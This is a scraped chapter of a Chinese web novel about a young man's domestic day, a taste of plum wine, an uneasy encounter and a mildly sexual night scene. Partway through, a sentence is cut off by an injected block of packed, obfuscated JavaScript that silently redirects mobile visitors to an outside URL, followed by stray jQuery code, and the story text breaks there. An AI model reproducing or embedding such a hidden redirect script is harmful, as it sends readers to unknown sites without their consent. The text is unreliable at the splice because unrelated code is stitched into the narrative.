文趣网 > 其他小说 > 屠户的娇O小夫郎 > 20.第20章
    树上的知了滋儿哇滋儿哇,叫声吵闹又聒噪。

    倾斜的日影落在窗棂上。

    霍家厢房里,云笙正跟着霍菱学做鞋垫。

    他做得慢,但胜在仔细,每一处针脚都缝得细密紧实。

    霍黎经常出门,走路多,他想做好一些,让他穿着更舒服。

    小时候他衣服开了线,外祖母也常常拿针线给他缝。

    他觉得好奇,跟着学过,但总缝得歪歪扭扭。

    如今外祖母不在了,他却学会了。

    霍菱房里没有铺床,而是搭着一张土炕,夜里睡觉时把被褥铺在炕上,白天叠起来放在炕尾。

    土炕中间放着一张小矮桌,桌上搁着一碟瓜子和一壶大麦茶。

    前些日子收了麦子,杜鱼炒了些放着,喝的时候用热水泡上一壶。

    茶水浅黄,带着淡淡的麦香。

    霍菱喝了口大麦茶,说起那天柳哥儿的事,“你说,柳哥儿到底有没有偷钱?”

    那天回来后,他忽然想起之前在山上挖野菜,他和云笙撞见柳哥儿在山里藏东西。

    虽然他并不觉得柳哥儿会做这种事,但回想起来仍是有些怀疑和好奇。

    云笙认真想了一下,缝着鞋垫说:“若真是他偷钱,他为什么不偷了钱跑?却还留在霍家干活。”

    “说的也是。”霍菱轻轻唔了声:“我要是他,偷了钱早就跑了,才不会留在霍家当牛做马。”

    肯定是周荷香自己弄丢的,他竟也差点怀疑柳哥儿。

    霍菱兀自摇了下头,“算了,不说他了。”

    他不是个坐得住的性子,坐上一会儿就起来走动。

    光是做个鞋垫子,便磕了半碟瓜子,喝了两碗大麦茶。

    霍菱放下针线,下了炕,故作神秘说:“你等我一下,我给你尝个东西。”

    云笙不知道他要做什么,依言点了下头。

    他想早点做完鞋垫,手上的动作就没停过,在霍菱出去这阵,才甩了下微微发酸的腕子。

    没一会儿,霍菱就回来了,怀里多了一个酒坛子,手里拿着两个小碗。

    “我小舅舅送来的青梅酿,给你尝尝。”

    霍菱说着揭开坛口的酒封。

    见他要倒酒,云笙急忙拦下说:“我不会喝酒。”

    “没事,酒味很淡,就跟喝饮子一样。”他不知道云笙的酒量,只给他倒了一点,“你先尝一下,能喝我再给你倒。”

    见他已经倒好了,云笙不好意思再推拒,在霍菱期待的目光下,双手端起小碗,浅浅抿了一口。

    霍菱看着他喝了,问他:“怎么样?好喝吧?”

    云笙点点头。

    酒味的确很淡,更多的是酸酸甜甜的果味,喝起来还有几分清冽。

    确实好喝。

    他又喝了一小口:“里面放了糖?”

    霍菱嗯了声:“所以我才说跟饮子一样,真要是烈酒,我阿爹才不会给我喝呢。”

    他给自己倒了小半碗,捧着碗慢慢喝着,见云笙喝完了,作势又要给他倒。

    云笙连忙抬手挡着碗沿:“我还是不喝了,天不早了,一会儿还要回去做饭。”

    刚喝的时候没觉得有什么,过了一会儿他才隐约感觉脸颊有些发热。

    霍菱看了眼窗外的天色,确实不早了,喝完碗底最后一口,收起酒坛子。

    “那我也不喝了,等下回你来再喝。”

    他看着云笙泛红的双颊,用手背挨了下他额头:“你不会喝醉了吧?”

    云笙摇摇头,他只是喝酒有些上脸,意识仍是清醒的。

    霍菱又在他眼前晃了下手:“真没醉?早知道还是不让你喝了。”

    没想到只喝了两口,小哥儿的脸就红成这样。

    云笙点点头,让他放心:“只是有点上脸,我回去洗个脸就好了。”

    他喝酒一直都这样,小时候偷喝外祖母酿的葡萄酒,被外祖母发现。

    外祖母看他一张小脸通红,还以为他是发了烧,担心得不行。

    一问才知,原来是他偷偷喝了两口葡萄酒。

    后来他便再没喝过酒了,连果酒也很少喝。

    -

    一转眼,太阳沉下了西山。

    西边的天儿仍残留着一道橘红的晚霞。

    霍黎今天去了一个较远的村子劁猪,早上出门时说了会晚些回来。

    云笙回到家放好针线,背着背篓打了筐草,顺便去菜地里摘了个嫩南瓜。

    嫩南瓜切成细丝,放点干辣椒,随便炒一下就是一盘菜。

    菌子也晒好了,他抓了一把泡在水里,晚上再用辣椒炒个菌子肉丝。

    时不时和霍菱一起打草,云笙对这片地儿已十分熟悉,有时候霍菱不在,他便一个人拿着镰刀出门。

    但这里离前山近,他怕碰到山上的野兽,每次打完草便早早回去,从不逗留。

    前面的路边蹲着一道人影,好像是个汉子,正守在水田边放鸭子。

    云笙瞧着有些眼生,没敢离得太近。

    他想绕过去,可前面只有一条路,想了想,还是硬着头皮往前走。

    云笙低着头,手抓着背篓的带子,没去看那人。

    那人的目光却黏在他身上似的,在他走过去后,便一直直勾勾盯着他。

    云笙被盯得浑身发紧,走过那人身旁时,下意识加快了脚步。

    他用余光偷偷瞄了一眼,隐约认出来,那人就是霍黎的堂哥霍荣。

    前些日子霍荣没回来,他们没有碰过面,那天被霍菱拉去看热闹,他才看了一眼。

    想起霍菱说他堂哥常去镇上的花柳院,云笙两三步小跑回院子,落下门闩。

    那道打量的目光太过直白,虽然从未接触过,仍让他觉得有些不太舒服。

    -

    霍黎果然很晚都没回来。

    回

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761606|209000||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到家,云笙先喂了鸡崽,收起晒菌子的竹筛,把晾干的衣裳收进屋。

    今晚蒸了米饭,他把炒好的两碗菜温在木甑里,洗了锅早早烧好水。

    这样霍黎回来冲洗一下就能吃饭。

    天都黑尽了,院子外才传来一道敲门声。

    听到是霍黎的声音,云笙连忙过去开门。

    接下霍黎搭在肩上的袋子,又牵着大黑去喂草料。

    喂完大黑,他进灶屋舀了一桶热水,叫霍黎先去冲洗,随后点上油灯端出饭菜。

    霍黎很快就冲洗好了,用布巾子擦着洗过的头发。

    有小哥儿在,他每次洗完都穿了衣裳,没再像之前那样赤着上身。

    见饭菜早就做好了,霍黎看了一眼说:“下回不用等我,你饿了先吃,给我留一碗就行。”

    云笙答应了声,盛好饭,把肉菜端到他面前。

    今晚除了那股变浓的甜香,霍黎还隐约闻到了一股极淡的酒气。

    借着油灯的灯光,他扫了眼小哥儿微微泛红的脸,问:“喝酒了?”

    云笙轻轻点头:“菱哥儿给我尝了两口青梅酿。”

    说到这事,云笙便有些不好意思。

    谁能想到,他只是尝了两口,脸就红成这样。

    而且很奇怪,以前他洗个脸就没事了,可今天脸上的热意怎么也消不去。

    云笙以为洗过澡就好了,可洗了澡也一样,甚至还有些晕乎乎的。

    霍黎回来得晚,他今天做鞋垫也有些累,收拾洗漱完,两人都早早回了屋。

    云笙躺在床上闭着眼,想着等睡一觉,明日应该就能好些。

    却不想,又一次半夜在热汗中醒来。

    头已经没那么晕了,只觉得身体有些发烫,尤其是某个地方,有一种莫名且难以言诉的感觉。

    云笙不知道这是什么情况,只掀开被子透了会儿气。

    窗户留着一条窄窄的缝隙,夜里的凉风透过窗缝吹进来,却丝毫无法缓解他身体的热意。

    云笙双颊浮起酡红,微张着唇瓣,下意识把手往下伸去。

    额头和后背都渗着一层薄汗。

    手也滑腻腻的。

    好一会儿,云笙才长长舒了口气,想到刚才自己做的事,脸顿时变得更红了。

    只是喝了两口青梅酿,竟让他变成这样。

    看来以后不能喝酒了。

    月光如水一样,照得院子明晃晃的,不用点灯都看得见。

    云笙轻手轻脚舀了水,又轻手轻脚洗干净。

    还好没弄脏被子,只需要洗亵裤就行。

    为了方便他取水,霍黎在院子里放了一口陶缸,每天都会往缸里打满水。

    像随手洗个东西,直接在缸里舀瓢水就行。

    云笙洗完亵裤,又洗了个手,正在想晾在何处。

    一回头,却看见霍黎站在柴房门口。

    不知看了他多久。